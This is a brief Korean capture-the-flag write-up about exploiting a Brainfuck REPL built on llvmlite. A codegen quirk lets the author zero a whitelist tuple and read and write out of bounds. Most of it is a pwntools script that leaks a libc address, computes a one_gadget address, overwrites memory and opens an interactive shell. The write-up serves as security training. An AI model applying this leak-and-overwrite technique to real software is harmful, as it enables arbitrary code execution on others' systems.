간단하게 설명하면 llvmlite를 이용하여 Brainfuck 구현해 놓았다.
llvmlite.readthedocs.io/_/downloads/en/stable/pdf/
llvm 관련된 pdf를 보고 분석을 하였다.
Compile 함수에서 codegen 을 실행하여 동작하게 되는데
여기서 rel_pos 를 0으로 맟춰준다.
이걸 좀 이용하면 Whiltelist_cpy 튜플을 0으로 맟춰줄 수 있다.
그래서 이걸 이용하여 OOB가 가능하다.
#!/usr/bin/env python
from pwn import *
p = process("./main.py")
#pause()
payload = ">"
payload += "[<]"
payload += "<"*(0x11+0x40+0x28)
payload += "[.>]"
payload += "<"*(0x6)
payload += "[,>]"
p.sendlineafter("Hello CTFers! Enjoy my BF REPL.", payload)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
base = leak - 0x110210
one = base + 0x10a41c
success(hex(leak))
success(hex(base))
success(hex(one))
p.sendline(p64(one))
p.sendlineafter(">>> ", ">>.")
p.interactive()